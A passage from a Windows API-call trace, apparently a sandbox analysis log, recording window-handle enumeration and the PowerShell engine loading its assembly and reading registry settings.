lpdwProcessId=0x1ae890) returned 0x7e8 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x320 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x11c [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7b4 [0060.077] GetLastError () returned 0x0 [0060.077] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7fc [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x688 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7b0 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x274 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x310 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x210 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x240 [0060.078] GetLastError () returned 0x0 [0060.078] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x780 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x5a4 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x62c [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xc4 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x3015e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x788 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x540 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x538 [0060.079] GetLastError () returned 0x0 [0060.079] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x568 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x20144, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x538 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x568 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x538 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x540 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x540 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x510 [0060.080] GetLastError () returned 0x0 [0060.080] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x57c [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x554 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x528 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.081] GetLastError () returned 0x0 [0060.081] GetWindowThreadProcessId (in: hWnd=0x1006e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.081] GetLastError () returned 0x0 [0060.082] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x79c [0060.082] GetLastError () returned 0x0 [0060.082] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.082] GetLastError () returned 0x0 [0060.082] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4e0 [0060.082] GetLastError () returned 0x0 [0060.082] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.082] GetLastError () returned 0x0 [0060.082] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.082] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x44c [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x778 [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x401c6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xae0 [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xae0 [0060.083] GetLastError () returned 0x0 [0060.083] GetWindowThreadProcessId (in: hWnd=0x30140, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x558 [0060.083] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4d0 [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x201f6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xb24 [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x40120, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xa6c [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7c4 [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x301e8, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xaac [0060.084] GetLastError () returned 0x0 [0060.084] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x714 [0060.084] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x328 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x3c0 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x5d8 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x494 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7e8 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x320 [0060.085] GetLastError () returned 0x0 [0060.085] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x11c [0060.085] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7b4 [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7fc [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x688 [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x7b0 [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x274 [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x310 [0060.086] GetLastError () returned 0x0 [0060.086] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x210 [0060.086] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x240 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x780 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x5a4 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x62c [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0xc4 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x788 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x568 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x538 [0060.087] GetLastError () returned 0x0 [0060.087] GetWindowThreadProcessId (in: hWnd=0x10128, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x540 [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x700a4, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x510 [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x20104, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x79c [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x4e0 [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x460 [0060.088] GetLastError () returned 0x0 [0060.088] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1ae890 | out: lpdwProcessId=0x1ae890) returned 0x778 [0060.088] GetLastError () returned 0x0 [0060.088] GetLastError () returned 0x0 [0060.091] WerSetFlags () returned 0x0 [0060.107] SetThreadPreferredUILanguages (in: dwFlags=0x100, pwszLanguagesBuffer=0x0, pulNumLanguages=0x0 | out: pulNumLanguages=0x0) returned 1 [0060.109] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1aec6c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1aec68 | out: pulNumLanguages=0x1aec6c, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x1aec68) returned 1 [0060.109] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x1aec6c, pwszLanguagesBuffer=0x2c7c654, pcchLanguagesBuffer=0x1aec68 | out: pulNumLanguages=0x1aec6c, pwszLanguagesBuffer=0x2c7c654, pcchLanguagesBuffer=0x1aec68) returned 1 [0060.116] GetUserDefaultLocaleName (in: lpLocaleName=0x60e058, cchLocaleName=16 | out: lpLocaleName="en-US") returned 6 [0060.139] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.139] GetLastError () returned 0xcb [0060.143] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.143] GetLastError () returned 0xcb [0060.146] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.146] GetLastError () returned 0xcb [0060.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae6dc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.157] GetLastError () returned 0xcb [0060.157] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.157] GetLastError () returned 0xcb [0060.157] SetErrorMode (uMode=0x1) returned 0x1 [0060.157] GetFileAttributesExW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\assembly\\gac_msil\\system.management.automation\\1.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x1aeb78 | out: lpFileInformation=0x1aeb78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85ac0a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa85ac0a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa85d2208, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2df000)) returned 1 [0060.157] GetLastError () returned 0xcb [0060.157] SetErrorMode (uMode=0x1) returned 0x1 [0060.157] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x1aebfc | out: lpdwHandle=0x1aebfc) returned 0x94c [0060.158] GetLastError () returned 0x0 [0060.158] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x2c7eb84 | out: lpData=0x2c7eb84) returned 1 [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1aebc8, puLen=0x1aebc4 | out: lplpBuffer=0x1aebc8*=0x2c7ec20, puLen=0x1aebc4) returned 1 [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7ecfc, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="Microsoft Corporation") returned 21 [0060.159] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft Corporation" | out: lpString1="Microsoft Corporation") returned="Microsoft Corporation" [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7ed50, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="System.Management.Automation") returned 28 [0060.159] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation" | out: lpString1="System.Management.Automation") returned="System.Management.Automation" [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7edac, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="6.1.7601.17514") returned 14 [0060.159] lstrcpyW (in: lpString1=0x60e058, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7edec, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0060.159] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7ee54, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="Copyright (c) Microsoft Corporation. All rights reserved.") returned 57 [0060.159] lstrcpyW (in: lpString1=0x60e058, lpString2="Copyright (c) Microsoft Corporation. All rights reserved." | out: lpString1="Copyright (c) Microsoft Corporation. All rights reserved.") returned="Copyright (c) Microsoft Corporation. All rights reserved." [0060.159] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7eef0, puLen=0x1aeb40) returned 1 [0060.159] lstrlenW (lpString="System.Management.Automation.dll") returned 32 [0060.160] lstrcpyW (in: lpString1=0x60e058, lpString2="System.Management.Automation.dll" | out: lpString1="System.Management.Automation.dll") returned="System.Management.Automation.dll" [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7ef54, puLen=0x1aeb40) returned 1 [0060.160] lstrlenW (lpString="Microsoft (R) Windows (R) Operating System") returned 42 [0060.160] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft (R) Windows (R) Operating System" | out: lpString1="Microsoft (R) Windows (R) Operating System") returned="Microsoft (R) Windows (R) Operating System" [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7efd0, puLen=0x1aeb40) returned 1 [0060.160] lstrlenW (lpString="6.1.7601.17514") returned 14 [0060.160] lstrcpyW (in: lpString1=0x60e058, lpString2="6.1.7601.17514" | out: lpString1="6.1.7601.17514") returned="6.1.7601.17514" [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x2c7ec78, puLen=0x1aeb40) returned 1 [0060.160] lstrlenW (lpString="Microsoft Windows PowerShell Engine Core Assembly") returned 49 [0060.160] lstrcpyW (in: lpString1=0x60e058, lpString2="Microsoft Windows PowerShell Engine Core Assembly" | out: lpString1="Microsoft Windows PowerShell Engine Core Assembly") returned="Microsoft Windows PowerShell Engine Core Assembly" [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x0, puLen=0x1aeb40) returned 0 [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x0, puLen=0x1aeb40) returned 0 [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x1aeb44, puLen=0x1aeb40 | out: lplpBuffer=0x1aeb44*=0x0, puLen=0x1aeb40) returned 0 [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1aeb38, puLen=0x1aeb34 | out: lplpBuffer=0x1aeb38*=0x2c7ec20, puLen=0x1aeb34) returned 1 [0060.160] VerLanguageNameW (in: wLang=0x0, szLang=0x60e058, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0060.160] VerQueryValueW (in: pBlock=0x2c7eb84, lpSubBlock="\\", lplpBuffer=0x1aeb4c, puLen=0x1aeb48 | out: lplpBuffer=0x1aeb4c*=0x2c7ebac, puLen=0x1aeb48) returned 1 [0060.167] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.167] GetLastError () returned 0xcb [0060.173] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.173] GetLastError () returned 0xcb [0060.177] lstrlenW (lpString="䅁") returned 1 [0060.180] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1aeb10 | out: phkResult=0x1aeb10*=0x320) returned 0x0 [0060.181] RegOpenKeyExW (in: hKey=0x320, lpSubKey="1", ulOptions=0x0, samDesired=0x20019, phkResult=0x1aeb14 | out: phkResult=0x1aeb14*=0x324) returned 0x0 [0060.181] RegOpenKeyExW (in: hKey=0x324, lpSubKey="PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1aeb48 | out: phkResult=0x1aeb48*=0x328) returned 0x0 [0060.182] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1aeb88, lpData=0x0, lpcbData=0x1aeb84*=0x0 | out: lpType=0x1aeb88*=0x1, lpData=0x0, lpcbData=0x1aeb84*=0x56) returned 0x0 [0060.184] RegQueryValueExW (in: hKey=0x328, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1aeb88, lpData=0x60e058, lpcbData=0x1aeb84*=0x56 | out: lpType=0x1aeb88*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x1aeb84*=0x56) returned 0x0 [0060.187] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.187] GetLastError () returned 0x0 [0060.189] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.189] GetLastError () returned 0x0 [0060.197] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1ae690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0060.197] GetLastError () returned 0x0 [0060.210] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x60e058, nSize=0x80 | out: lpBuffer="") returned 0x0 [0060.210] GetLastError () returned 0xcb [0060.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0060.472] GetLastError () returned 0x2 [0060.472] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x1ae650, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 